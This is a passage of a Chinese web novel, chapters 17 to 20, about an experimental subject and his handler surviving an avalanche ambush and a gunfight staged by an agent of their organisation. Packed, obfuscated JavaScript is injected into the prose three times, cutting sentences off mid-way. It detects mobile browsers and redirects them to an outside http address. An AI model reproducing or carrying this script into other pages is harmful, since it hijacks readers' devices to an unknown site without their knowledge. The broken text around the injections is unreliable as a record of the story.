他和乔韫短暂地相处过三个月,不,准确来说,是三个月零七天。在这段时光后,林听又等了十五年零二个月,才等到以“礼仪老师”身份出现在自己面前的乔韫。 乔韫实在不会伪装,他早就看出来,乔韫是行为分析师出身。 所有人都默认,行为分析师等于骗子。 不是这样的。 至少乔韫不是这样的。 乔韫从来不屑于伪装自己的心思,她是因为太诚实,才被人认定成“无时无刻不在骗人”的。 她怎么可能是骗子。 林听的手指攀上乔韫侧脸,缓缓滑到她耳后,捏住那枚小小的信号干扰器。 乔韫,绝不是骗子。 ——然后,将其摘了下来。 17. 探寻 宁静。 除了一片静谧,什么也没有。 乔韫的确睡熟了。 人只要清醒着,就会产生源源不断的心声,可一旦熟睡,心声便沉入意识的海洋,再难探清。 但,林听想要探清乔韫的心思。 至少……他想知道“五号”——或“六号”——对乔韫而言意味着什么。 林听深吸一口气,闭上眼,试图将全部心神凝聚,向乔韫意识深处那片幽暗的海洋探去。 这很困难。 像逆着汹涌的洋流下潜,光线消失,压力从四面八方涌来,挤压着他的神经。 与平日被动接收心声时产生的胀痛不同,这种主动的探知,引发出的是一种更尖锐的撕裂感。 这种感觉,就像……有人用锥子击凿自己的神经。 林听咬紧牙关,抵抗着这股剧痛,努力向下探寻。 乔韫的潜意识如同一片望不到边际的浓雾,他艰难地穿行其中,捕捉着那些一闪而过的碎片—— 实验仪器的反光; 江城子镜片后看不透情绪的眼睛; 然后是……血。 大量的、刺目的鲜红,和一个孩子渐弱的哭声。 到这里,林听的头痛猛地加剧。 他几乎无法再继续。 与此同时,身旁的乔韫毫无预兆地翻了个身。 她的手臂搭过来,指尖险些扫过林听握着干扰器的手。 林听的心脏骤然缩紧,迅速将干扰器重新按回了乔韫耳后的原位。 耳边,乔韫的呼吸再次变得平稳悠长。 她只是无意识地翻身。 林听僵在原地,后背惊出一层冷汗。 他在做什么? 他……在怀疑乔韫? 如果没有乔韫,他或许早就因为那无休无止的头痛而彻底崩溃,然后死在某个实验台上,像一件被废弃的失败品,最终化为报告上一行冰冷的“销毁”记录。 是乔韫给了他“外面”的空气;是乔韫让他看到了母亲的墓碑得以立起;是乔韫……让他感觉自己像个人,而不是一个编号。 哪怕,乔韫真的骗了他,又如何呢? 一行血痕从林听鼻头流下,他忙抬手去接。 血液在他手心,啪嗒一声,溅成碎片。 ……消耗太大了。 头好痛。 晨光熹微时,雨彻底停下。 远山轮廓清晰,天空碧蓝澄澈。 毡房外,白玛已经精神抖擞地开始吆喝着她的羊。 三人简单用了点早餐——依旧是硬邦邦的糌粑和剩下的土豆汤。 乔韫看起来休息得不错。 在她醒来前,林听便已抽身,将自己满脸的血迹洗清。 于是乔韫并未发觉异常。 连自己是如何睡着的,也几乎忘了个干净。 果然,喝酒误事啊。 乔韫暗暗想道。 “白玛今天要去镇上卖羊,托我们送她一程。” 林听不知何时绕到了乔韫身后,淡淡道。 但不知为何,乔韫从他的语气里听出一丝……幽怨? “你没睡好?” “嗯?”林听一怔,随即立刻否定:“没。” 白玛站在一旁,无意间将二人的对话都听了去,眼神中带上几分调侃,扫过沉默的林听,又回到乔韫身上: “乔姐姐,可不可以呀?送送我吧?” 乔韫并不反感白玛的狡黠,伸出手,轻轻弹了下白玛的脑瓜: “收了钱还让我们替你办事,你可真会算计。” 虽是这样说,乔韫依然替白玛牵过缰绳,将其绕在车后。 “走吧,你指路,我开车。” “那你慢点开啊,别把我家羊绊倒了。” “哟,指导起我来了?没大没小。” …… 小镇比乔韫想象的要热闹一些。 街道两旁店铺林立,卖着各种旅游纪念品、藏刀、牦牛肉干,还有热气腾腾的酥油茶摊。 然而,最引人注目的,是几乎贴满了每个角落的海报——那些印刷精美的雪山照片。 “神山圣湖,净化心灵之旅!” “探寻秘境,触摸天堂之雪!” “专业向导,安全登顶!” …… 类似的标语随处可见。 一路走去,居然还有不少举着小旗子的导游,正吆喝着组织前往雪山的旅游团。 淡季居然也有这么多游客。 乔韫脚步慢了下来,目光扫过那些海报。 “这雪山……也是东林的特色?”她状似随意地问旁边的白玛。 白玛转过头,一脸理所当然:“当然了!我们这个镇子就叫雪山镇呀,就是因为在雪山脚下才叫这个名字的。” 她伸手指向远处覆盖着皑皑白雪的山脉: “你们要是有时间,一定要去雪山看看,风景可美了!” 说完,她牵着自己的羊,朝两人挥挥手,汇入了前往牲口市场的人流:“我去卖羊啦!谢谢你们送我,有机会再来找我玩儿啊!” 乔韫站在原地,望着白玛消失的方向,又抬眼看了看那遥不可及的雪峰,沉默着。 “我们去雪山吧。”林听的声音在一旁响起。 乔韫有些意外。 林听居然会主动提起这个? 乔韫转过头,挑眉看他:“嗯?你对雪山感兴趣?” 她印象里的实验体,应该对自然风光没什么概念才对。 林听看着她,眼神清澈而专注:“因为你看起来很想去。” 乔韫一怔,下意识摸了摸自己的脸:“有这么明显吗?” 林听笑了笑,没有回答。 他在乔韫看着海报出神的那一刻,就察觉了乔韫的心思。 乔韫被他看得有点不自在,但既然被点破了,她索性大方承认:“好吧,我的确有点兴趣。来都来了,不去看看,好像有点亏。” 她拿出手机,开始搜索当地的旅行社评价,试图找出价格合适的团:“报个团吧,安全一点。” 林听对此没有异议。他只需要跟着乔韫就好。 然而,乔韫选择报团的真实原因,远非“安全”二字那么简单。 从一进入这个小镇,看到那无处不在的雪山海报开始,一个念头就在她脑中盘旋不去——这太过巧合了。 巧合得像一个精心布置的舞台。 江城子那句“建议考虑宗教相关的地方”言犹在耳,东林,雪山……这难道就是他最终的目的地? 她无法逃避任务,就像她无法真正逃离组织的掌控。 但如果注定要踏入对方选定的战场,她至少要尽力为自己,也为林听,增加一点变数,制造一些阻碍。 一个旅行团,一群陌生的游客,就是最好的掩护和缓冲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506314|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江城子的人就算再肆无忌惮,在众目睽睽之下动手,总归要多几分顾虑。 混在人群里,或许能观察到更多,也或许……能找到一丝微不足道的生机。 乔韫很快联系了一家看起来规模不小的旅行社,报了一个次日出发的雪山一日游团。 可—— 次日清晨,旅行团集合点。 乔韫看着眼前稀稀拉拉的几个人,忍不住蹙起了眉。 除了那个中年导游之外,就只有一家三口——一对看起来三十多岁的夫妻,带着一个七八岁的小男孩。 再加上她和林听,整个团,一共六个人。 “导游,就这么点人?”乔韫走上前问道。 导游数完了人头,把名单夹回板子,咧开嘴笑了笑: “哎呦,美女,上雪山可不是逛公园,耗体力着呢!我们为了保证体验和安全,一般都是小团出发,五六个人一组最合适,人多了顾不过来!” 乔韫在心里暗骂了一声。自认倒霉。 她原本指望的热闹人群成了泡影,所谓的旅行团,不过是换了一种形式的“小分队”。 江城子的手笔? 还是真的只是巧合? 她不得而知,但心头那根弦绷得更紧了。 一行人乘坐一辆略显破旧的越野车出发,盘旋而上。 车窗外的景色逐渐从绿意盎然变为苔原草甸,最后只剩下一片苍茫的雪白和裸露的黑色岩石。 空气逐渐变得稀薄寒冷起来。 乔韫看似被窗外的壮丽景色所吸引,目不转睛地看着,时不时还拿出手机拍照,仿佛一个真正的游客。 林听则安静地坐在她身边,他的目光更多时候落在乔韫身上,偶尔才看向窗外。 对那些巍峨的雪峰,他并没有表现出太大的惊奇,而更像是在履行某种“陪伴”的职责。 车最终在一个相对平缓的坡地停下。 导游招呼大家下车活动一下,拍照留念,叮嘱不要走远。 那一家三口的小男孩第一个欢呼着跳下车,像只出笼的小鸟,在雪地里深一脚浅一脚地奔跑起来,发出兴奋的叫喊。 乔韫和林听也下了车,冰冷的空气瞬间涌入肺腑,带着干净纯粹的气息。 “爸爸妈妈,快看!这里有个好大的雪堆!”小男孩突然在不远处喊道,指着山坡背阴处一个隆起的大雪堆。 那雪堆形状略显突兀,像个被随意堆放的大包裹。 小男孩好奇心旺盛,不等父母回应,就咯咯笑着冲了过去,一个飞扑,想象着自己会陷进柔软的雪里。 然而—— “咦?” 预想中的陷入并没有发生。 他像是扑在了一个更有弹性的东西上,雪堆只是表面陷下去一点,纹丝不动。 小男孩愣住了,爬起来,用手刨开表面的积雪。 下一秒,他惊恐的尖叫声划破了雪山的寂静。 “爸爸妈妈,快来!这里有个人!!!” 乔韫和林听几乎同时转头望去。 被刨开的雪堆下,露出了一抹熟悉的黑色布料——是组织的战术服。 积雪簌簌滑落,露出一张苍白却熟悉的脸。 是……五号。 她长长的睫毛上挂着冰晶,原本紧闭的双眼,在雪光映照下,猛地睁了开来。 视线直直地撞上了闻声赶来的乔韫。 一时间,四目相对。 18. 杀意 这么快就到时间了? 阳光落在雪上,反射进五号眼睛里。 她眯了眯眼,目光依然紧盯乔韫。 “姑娘?你、你还好吗?要不要叫救护车?” 导游小心翼翼上前,询问道。 五号没有回答,反而将深埋在雪中的手臂抽出,开始在身上摸索起来。 “是丢了什么东西吗?” 啊,找到了。 在众目睽睽之下,五号从怀里翻出一个防水袋,袋里,则装着江城子给她的手机。 她解锁手机,发现江城子并未发送行动指令,眉头一皱,主动给他发了一则消息: [计划有变,我这边需要提前行动,你尽快赶到吧。] 该怎么办? 与五号的好整以暇不同,一旁的乔韫,神经早已紧绷到极点。 她意外地发觉,目前这个场景,自己竟不愿看见。 为什么呢? 明明是乔韫自愿带林听上山的,不是吗? 她应该乖乖配合,阻止林听逃跑才对。 可为什么,她现在……想逃? “我们该走了。” 乔韫愣神之际,林听俯身在她耳边,说出这样一句话。 语罢,他便握住乔韫手腕,转身,试图带她离开。 “等等。” 出乎意料地,乔韫将手腕抽出,定在原地。 林听一怔,并没想到乔韫会给出这个回答。 “五号手上……有东西。” 乔韫神色凝重,目光依旧紧锁五号。 是一个很小巧的装置,被五号握在手心。 新型号的通讯器? 林听顺着乔韫的话,望向五号,只见她手中银光一闪,紧接着—— 嘭! 嘭嘭! ——不,不对。 那是引爆器。 在雪山埋炸弹?玩这么刺激。 乔韫的眉头蹙得更深了。 轰隆隆—— 紧接着,整座雪山仿佛活了过来,发出痛苦的战栗。 他们上方不远处,那片覆盖着冰雪的巨大斜坡,表层登时出现蛛网般的裂痕。 随即,亿万吨积雪挣脱束缚,如同白色的海啸,奔腾翻滚,朝着下方倾泻而来。 “雪崩、是雪崩!快上车!!!” 导游的尖叫声因紧张变了调,几乎是连滚带爬,扑向越野车。 那对夫妻脸色煞白,父亲一把抱起吓傻的儿子,母亲踉跄着跟上,几人疯了一般冲向这唯一的求生工具。 雪浪奔腾的速度远超任何人的奔跑。 白色的死亡幕墙急速推进,扑面而来。 乔韫脚下传来剧烈的震动,几乎叫她站立不稳。 “上车!”林听吼道,伸手就要拉她。 乔韫却摁住了林听的小臂,目光扫过那辆越野车: “不能上。” 林听闻言一顿。 “组织是冲我们来的,我们上去,就是拉着他们一起死。” 乔韫自认不是什么圣母,会上赶着牺牲自己成全他人。 这辆车太脆了。 既不能带着一行人飞跃雪山,又不能支撑雪埋时带来的重大压力,坐上车,他俩的行动反而处处受制。 那么,该怎么做? 雪崩,自然不能往山下跑,人类的速度绝对快不过自然的伟力。 ——要往侧面跑,寻找掩体或高地! 这个念头刚闪过,乔韫的视线本能地投向侧翼,望向那片地势略高的区域。 然而,就在这一刹那,一股寒意比雪崩更先止住了她的脚步。 江城子。 是江城子引导他们来的这里。 这是乔韫逃亡旅途的终点,他怎么可能只安排一场无差别攻击的雪崩? 五号是他的引信,是制造混乱的棋子,但真正的杀招,必然在混乱之后。 在猎物自以为找到生路的方向上。 江城子知道乔韫的思维模式,知道她的应急反应,更知道在雪崩面前,任何一个受过基本野外训练的人,第一选择都是横向撤离,而不是向下或原地等死。 那么,侧翼……那片看似唯一生路的地方…… 乔韫的血液几乎要冻结。 江城子的可怕之处就在于此。 他不会直接命令你跳进陷阱,他会为你铺好路,模拟你的思维,让你自己“主动”且“合理”地走向他预设的终点。 江城子甚至算准了你会看破第一层——不过,看破雪崩是手段,而非目的。 进而,他为你准备了第二层:看破之后,你是否会依旧“忠诚”地、“理智”地,走向他真正埋伏好的刀口? 这是一个针对乔韫的残酷测试。 若她足够忠诚,或足够理智,就会按训练和常识,往侧边逃,正好落入包围圈; 若她不够忠诚,心存侥幸,大概率会冒险往山下跑,那几乎必死无疑,但也算另一种形式的“清除”。 雪堆形成的白色海啸越来越近,死亡的气息压迫着每一寸空气。 留给乔韫思考的时间所剩无几。 “走!”林听嘶吼一声,顾不上那么多,一把拦腰抱起乔韫,发力朝着侧翼方向猛冲出去。 他的速度快得惊人,甚至只在雪地上留下极浅的脚印。 乔韫在他怀里猛地一晃,视线下意识地再次扫过五号刚才所在的位置—— 空空如也。 只有纷扬的雪沫和那个被撞出人形凹陷的雪堆。 五号不知在何时,消失得无影无踪,如同鬼魅。 就在乔韫思索之际,林听突然发出一声闷哼,奔驰的身形猛地一个趔趄,险些带着乔韫一起栽倒在雪地里。 乔韫下意识地抱紧了他的脖子:“怎么了?” “……没事。”林听的声音像是从牙缝里挤出来的一样。 他强行稳住身形,再次发力前冲,但速度明显慢了一丝:“可能……止疼药药效过了。” 这只是林听的借口。 自从前天晚上,他强行使用读心术后,头痛便一直持续着,哪怕吃了乔韫给的止疼药也于事无补。 为了不让她担心,更为了不让她怀疑自己窥探的行为,林听一直忍耐着,装作若无其事。 可一旦进行运动,心率飙升,血流加速,那被强行压制的剧痛便再也无法隐藏。 雪崩的轰鸣在身后越来越近,冰冷的雪沫已经溅到了他们的后背。 乔韫的心一点点沉下去。 她看了一眼林听紧绷的侧脸,又看了一眼那片越来越近的侧翼林地。 江城子的脸仿佛就在眼前,镜片后的目光冷静地审视着她,等待她的选择。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506315|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >时间,没有了。 信任,还是背叛? 求生,还是……赴死? 她真的有选择的权利吗? 乔韫闭了闭眼,再睁开时,所有的挣扎和波澜都被抚平,只剩下一片清明。 她轻轻拍了拍林听的肩膀,声音不觉间染上一股寒意:“坚持住,等脱离雪崩范围,我就给你拿药。” 林听从喉咙里挤出一个短促的“好”字,抱着她,朝着侧翼,义无反顾地冲了过去。 乔韫最终没有提醒他离开,没有选择那渺茫的生路。 她选择了推动着林听,也是推动着自己,落入江城子精心编织的罗网之中。 仿佛是为了印证她的推测,就在他们险之又险地逃出一片雪崩冲击区,踉跄着扑进侧翼枯树林的瞬间—— 嗖!嗖嗖! 数颗子弹撕裂空气,从林中不同角度射出,直奔二人。 林听在枪响前的刹那便做出了反应。 他猛地将乔韫向一旁推开,自己则借着惯性在地上连续翻滚几圈,暂且离开了设计区域。 子弹噗噗射入他刚才所在的雪地,溅起一簇簇雪花。 乔韫被推得撞在一棵枯树上,震得雪花簌簌落下。 她急促地喘息着,抬眼望去。 树林的阴影里,一道道穿着黑色作战服的身影无声显现,如同从雪地里生长出的幽灵。 而为首一人,缓缓从一棵粗壮的云杉后踱步而出。 ——江城子。 他依旧穿着那身一丝不苟的深色大衣,镜片上沾着些许雪沫,神情平静。 在乔韫的注视下,他抬手,轻轻扶了扶眼镜。 “跑得挺快。”他开口道,“看来九号的潜能,确实值得期待。” 乔韫的心脏在胸腔里疯狂跳动,血液冲上头顶又迅速冷却。 她强迫自己站直身体,连笑容都懒得伪装,语气不乏讥讽:“江组长真是好兴致,这么大阵仗,就为了给我们表演一场雪山围猎?” 江城子的目光掠过她,落在不远处刚刚稳住身形的林听身上,淡淡评价道:“警惕性不错,可惜……还是太嫩。” 然后,他的视线重新回到乔韫脸上:“乔韫,组织纵容你逃了这么久,你也该知足了。” “那我是不是该谢谢组织给我这个机会?”乔韫冷笑,手指在身侧微微蜷缩,摸向藏在外套内袋里的枪。 虽然她知道,在这众多枪口下,反抗几乎是徒劳。 江城子仿佛看穿了她的意图,并不在意,反而向前走了两步。 “谢就不必了。”他语气平淡,“只是接下来,需要你做出一点……小小的牺牲。” 话音刚落,江城子毫无征兆地抬起了手——他手中不知何时已经握着一把手枪。 枪口并没指向如临大敌的林听,而是稳稳地,对准了乔韫的眉心。 乔韫的呼吸骤然停止。 她终于意识到,刚才那阵枪雨,已经巧妙地将她和林听之间的距离拉开了。 这个距离,对于江城子来说,绝无失手的可能。 而对于林听而言,即便他速度再快,也无法在江城子扣动扳机的瞬间,跨越这段距离,救下她。 她自己?更不可能快过子弹。 恐惧如同毒蛇,缠紧了乔韫的脊椎。 江城子…… 要杀了她? 19. 受伤 半小时前。 雨云消散得比江城子预想的要快,原本以为要两天才能完成的行程,最终竟只花了一天。 他没有半分犹豫,在雨停那一刻,便立即启程,来到了雪山。 江城子特地避开了雪山镇,选择从一条更隐蔽的山路上山。 如果没估算错,乔韫二人已经提前落脚雪山镇了。 他们得快点上山,与五号汇合。 车队行至半山腰,江城子的手机屏幕亮起来。 ——是五号的信息。 她没有发送平时更常用的语音信息,而是选择了纯文字: [计划有变,我这边需要提前行动,你尽快赶到吧。] 江城子连眉头也没皱一下。 但这并不代表他没有被影响到情绪。 江城子在组内惯有“神算”之称,只是因为他喜欢提前设想好所有可能,无论多离谱的发展,只要在他能考虑到的范围,他都不嫌麻烦,将其纳入计划。 随着制定计划的次数越来越多,江城子脑中能模拟出的场景也越来越多,久而久之,几乎不再有他“算”不到的事情。 “神算”的名头,也就这样传了出去。 所以,“计划”这个词,几乎贯穿了江城子的一生。 他不喜欢被打乱计划,哪怕“被打乱计划”也在他的考虑范围内。 [收到。] 江城子迅速在键盘上敲出这两个字,点击发送。 这回,是天在帮他。 若不是雨云散得快,江城子必然无法赶上这次伏击。 他心里生出一股莫名的滋味,虽未表露出来,但脚下却将油门踩得更紧。 东林,是江城子一手策划的收网地。 之所以选择这个地方,一是东林山地多,遮蔽多,人烟稀少,适合埋伏;二是东林距总部临昌很近,顶多两天的车程,哪怕九号在反抗过程中受伤,也能及时得到修理。 三是…… 他上级的要求。 总部早在周边各地埋入眼线,时刻监测着周边城市动态,以防危及总部安全。 其中也包含东林。 江城子暂且将上级如此要求的理由理解为这样。 至于更多的信息,他纵然有心去了解,也无力接触。 江城子一边开车,一边时刻关注着手机定位。 ——那是他在乔韫手机里安装的定位系统。 以乔韫的智商,不难发现这个。 她此时依然带着手机,说明乔韫暂且还没叛变。 想到这里,江城子的太阳穴又开始隐隐发胀。 乔韫绝对是他带过的最麻烦的组员,希望这件事结束后,上面能同意他让乔韫转组的申请。 “嘀嘀!嘀嘀!” 定位系统发出细微的警报。 他们离乔韫非常近了。 “全体注意,立刻下车,做好埋伏,待目标出现,即刻进行火力压制,注意:只为拉开二人距离,切勿伤及目标。” 江城子马上切入通讯,对身后各组员要求道。 他下命令只说一遍,在关闭通讯后,便利落拉下手刹,率先下车,埋伏在一棵云杉后。 身后一阵窸窣声响起,不过三秒,就彻底静下来。 连半只鸟雀也没惊起。 江城子已经查过了,九号和乔韫,在多年前有过一段交往。 这也是他提名乔韫处理九号事宜的出发点。 可到了柳城,江城子发现,事情远非他想的那么简单。 江城子在陈放的修车行里设置了窃听器,这件事,连陈放本人也不知道。 他到现在依然以为,自己被江城子掌握行踪,是因为柳城也存在组织的眼线。 他依然信任着江城子。 正是这份信任,让江城子找到了合理处置九号的切入点。 ——乔韫。 九号,居然喜欢乔韫。 对组织而言,这的确是意外之喜。 对江城子而言,则意味着新的计划:这次围猎将会进行得很顺利,首先,将二人拉开距离;其次,将枪口对准乔韫。 九号会为了保护乔韫,而做出行动。 在距离被拉开的前提下,“跑过去”,显然会慢一步。 那么,九号的行动将变成——“飞扑过去”。 一旦他的身体悬空,便是对他进行射击的最佳时刻。 哪怕是实验体,在空中,也无法活动自如。 计划依照江城子的设想顺利进行着。 他将枪口对准了乔韫身后的树干,然后。 砰! “林听,别动!” 乔韫的喝止与江城子的枪声同时响起。 在江城子举枪那一刻,乔韫脑子里闪过许多想法。 若江城子要杀掉自己,理由是什么? 若江城子并没打算杀掉自己,那他举枪的动作,又意味着什么? ——这并不难想通。 乔韫自认江城子纵容她至此,实在没有杀她的必要。 江城子是个严谨、甚至有些古板的人,他一旦确定目标,便不会轻易改变。 而江城子的目标,自始至终,都只有林听。 这个想法刚冒出来,她就下意识地出声制止了林听的活动。 是的,完全是……下意识。 但乔韫依然慢了一步。 江城子身寸出的子弹因乔韫这微小的动作而擦过她耳垂。 一阵尖锐的疼痛瞬间蔓延至乔韫全身。 血液温热,溅上她侧脸。 可乔韫无暇顾及。 在江城子身后,另一把静音手枪,已对准身体悬空的林听。 子弹破空而出。 扑哧! 正中林听腹腔。 “林听!” 林听的身体在空中被击落,血液滴滴流落在地,将雪染成红色。 “林听”? 江城子并不是第一次听见这个名字,通过他安置在柳城的窃听器,他就有所耳闻了。 实验体没有名字,只有编号。 而九号却记住了自己的名字,甚至将其隐藏多年,最终只告知了乔韫一人。 而乔韫…… 江城子的目光回到被血糊了满脸的乔韫身上。 她脸上的错愕如此显眼,全然没有“骗子”的自觉。 乔韫,很有可能——不,她一定,一定叛变了。 江城子立刻将子弹上膛,再次抬手,稳稳对准乔韫。 ——哪怕上头有人为乔韫做担保,她也绝不能留。 林听跪倒在地,喉腔顿时充盈着血腥气,喘息甫定,余光便瞥到江城子再次抬起的手。 不能停下…… 他还不能停下。 乔韫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506316|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有危险。 砰! 这次,林听比枪声更快到达。 他眼角泛着红,露出连乔韫也从未见过的严肃神色。 这样一张脸,不过一瞬,就来到了乔韫面前。 呲—— 第二颗子弹擦过林听的肩胛骨,带起一溜血线。 乔韫只觉得一股巨大的力量撞上自己,视野登时天旋地转,冰冷的雪沫瞬间灌入口鼻。 林听将她死死箍在怀里,用自己的脊背为她构筑了一个相对安全的空间。 两人纠缠着,径直朝着下方仍在奔腾的雪瀑坠去。 “呃!” 沉重的撞击感传来,乔韫喉头滚出一声闷哼。 林听的手臂立刻收得更紧。 他们砸入了雪崩的主流区域,巨大的冲击力几乎让乔韫瞬间昏厥。 雪花从四面八方挤压而来,剥夺了她对外界的感知。 只剩一片纯白。 林听将乔韫的头脸按在自己颈窝,最大限度地减少了积雪的冲击。 他的身体在一次次剧烈的翻滚中巧妙地调整着角度,避免了一切直冲乔韫而来的伤害,自己却默默承受着冰层与碎石的刮擦。 乔韫几乎失去了知觉,却仍能感受到胸口传来的有力心跳。 在过了漫长得仿佛一个世纪的时间后,乔韫突然感到一瞬格外猛烈的颠簸。 林听的身体骤然绷紧,手臂猛地一震—— 哧! 那是皮肉被某种尖锐物撕裂的声响。 紧接着,二人下坠的势头竟奇迹般地减缓,最终停滞下来。 乔韫仍然只探知到一片冰冷。 但在冰冷之中,任何一丝暖意都格外刺人。 她的腹部像是有火在烧,一片温热粘腻,边缘正迅速在极寒中冷却。 那是林听的血。 正从他腰腹间的弹孔汩汩涌出,浸透了她厚实的衣料。 再这样下去,他俩都会死。 并且……林听会比自己死得更快。 乔韫想开口,想动弹,但厚重的积雪如同棺椁,将她禁锢得死死的,连一根手指都无法抬起,更遑论发出声音。 空气渐渐变得稀薄。 林听的情况远比乔韫糟糕。 头痛尚未缓解,失血带来的眩晕阵阵上涌。 但他强行压制住所有生理反应,将全部精力集中到听觉感知上。 雪花摩擦的细微声响、远处雪崩渐息的余韵、更远处…… 他听到了。 山间平地上,风声送来了模糊的对话。 “江组长,目标坠入雪崩区,生还概率低于百分之十七。是否需要下山进行搜索?” 一个冷静的男声请示道。 短暂的沉默。 然后,是江城子那无悲无喜的声调:“不必。实验体的身体素质远超模型预估,尤其是九号……在这种情况下仍有如此的行动能力,的确令人意外。” 江城子说到此处,语气中甚至带上一丝赞叹。 他继续道:“他们二人未必不能生还,浪费时间进行搜索,风险过高。 “直接启动B计划吧。” “是!” 脚步声渐远,引擎响起,最终一并消失在风雪之中。 外界重归寂静。 只剩下积雪内部细微的吱呀声。 雪崩,停了。 20. 吻? 林听紧绷的神经并未因追兵的离去而放松。 他艰难地动了动右手手指——正是这只手,在危急关头死死抠住了一块突出的岩角,才堪堪止住了他们下坠的步伐。 林听的指尖早已磨破,血液与碎肉同冰冷的岩石冻在一起,每一次微小的移动都钻心地疼。 他仔细倾听着怀中之人的动静。 乔韫的呼吸微弱,但还算平稳,只是体温在快速流失。 动作细微得几乎没有,很可能晕过去了。 而他自己,能明显感觉到腹部的出血在减缓,不知是因为低温凝血,还是……更糟的原因。 不能停留在这里。 林听开始缓慢地移动身体,试图在不引发二次雪崩的前提下,将身下狭小的空间拓宽。 他的每一次动作都牵扯着身上各处大大小小的伤口。 他不会因为这些伤口死亡,但不代表他不痛。 肩胛骨被子弹擦过的火辣痛感、腹部贯穿的钝痛、十指连心的撕裂感、过度消耗能力而导致的头痛,随着他每一次发力,交织成尖锐的浪潮,冲刷着他的神经。 冷汗浸湿了林听内里的衣衫,又瞬间被低温冻得冰凉,贴在皮肤上,带来另一重折磨。 他咬紧牙关,一寸寸将压实的雪壁后推,艰难地拓宽这小小的四方囚笼。 碎雪簌簌落下,掉进他衣领,融化,增添更多寒意。 渐渐地,林听终于勉强腾挪出足以让他稍稍调整姿势的空间。 也正是在这稍显宽松的缝隙里,借着雪层透下的微弱天光,他看清了乔韫的脸。 血迹从她耳垂的伤口渗出,蜿蜒而下,此刻已冻结在她颊边,形成一道暗红的冰痕。 嘴唇发紫,呼吸微弱。 几乎让人无法感受到起伏。 林听的胸腔顿时被恐慌填满。 他习惯了自身的强大,习惯了伤痛,甚至习惯了被当作非人的器物。 此刻,乔韫身上所展现的属于普通人的脆弱,让林听感到陌生。 这种脆弱太过直白,直接宣告着一个事实: 她会死。 如果林听不快一点,再快一点,乔韫……会死。 “乔韫……?”林听试探开口,声音在雪堆的吸收下变得飘渺。 没有回应。 林听因此彻底坠入恐惧。 他不再顾忌伤口,开始用那只血肉模糊的右手,疯狂向上挖掘。 另一只手,则始终小心翼翼地环抱着乔韫。 以乔韫的身体强度,上方哪怕只是小范围的雪块滑动,也极有可能压断乔韫的骨骼。 他必须用身体为乔韫构筑保护罩,替她承受积雪的压力。 雪,无穷无尽的雪。 上方的雪层依然厚重。 他们被埋得远比林听预估的要深。 封闭的空间里,氧气变得越来越稀薄。 林听作为实验体,可以长时间抑制呼吸频率,节约氧气消耗。 但乔韫不行。 她的脸色肉眼可见地变得灰败,仿佛下一秒就要失去呼吸。 不能再拖了。 林听手上的动作停了下来。 他低下头,看向乔韫发紫的唇瓣,深吸一口气,俯下身,捏住乔韫的鼻翼,然后,将自己的唇覆了上去。 触感冰冷而坚硬,带着血液的铁锈味。 林听将那口救命的空气缓缓渡过去。 一次,两次…… 乔韫是在一阵令人窒息的闷意中恢复意识的。 眼皮沉重得抬不起来,只能恢复模糊的触觉。 她的唇上传来柔软的压力,紧接着,一口含着淡淡血腥气的氧气被送进口中,勉强驱散了胸腔深处的憋闷。 乔韫的眼珠在眼皮下艰难地动了动,然后,睁开了眼。 视野逐渐聚焦,首先映入眼帘的是林听放大的脸。 他闭着眼,睫毛湿漉漉地垂着,沾着雪沫和血珠。 往日清俊的面容此刻狼狈不堪,颊边溅着已经发暗的血迹,额角还有一道不甚明显的擦伤。 然后,乔韫感受到了彼此相贴的嘴唇。 她的大脑宕机了一瞬。 随即,乔韫猛地清醒过来。 这是在……人工呼吸? 冰冷的雪壁、狭小的空间、被压得发麻的手臂……所有感知瞬间回笼。 她下意识想动,却发现手掌被积雪压住。 哪有人工呼吸还闭眼的啊! 乔韫用还能活动的手指,轻轻拍了拍林听的腰侧,示意自己已经醒来。 掌心下的身体猛地一颤,随即迅速撤离。 林听松开了她,微微喘着气,别开脸,似乎想掩饰什么。 “你醒了。” 他的声音沙哑得厉害,带着显而易见的心虚与紧张,甚至忘了追问乔韫状况如何。 乔韫可没空计较刚才那非常规的“人工呼吸”。 她迅速扫视了一眼周遭的环境,抽了抽手,试图摸向自己的枪。 但不过一秒,她就放弃了这个行为。 不行。 开枪崩雪固然最快,但巨大的震动极有可能引发上方积雪再次崩塌,那时他们将被彻底活埋,再无生路。 乔韫张开嘴,却被雪花涌入,打断了她的话。 林听立即道:“你……别动,保存体力,我会带你出去。” 乔韫闻言一怔。 她将目光投到林听眼角,这才发觉,林听眼中的情绪,不知何时,变了。 不再有半分面对她时所表现的少年青涩,转而被某种更坚毅的神色替代。 这是……英雄救美? 乔韫轻笑出声。 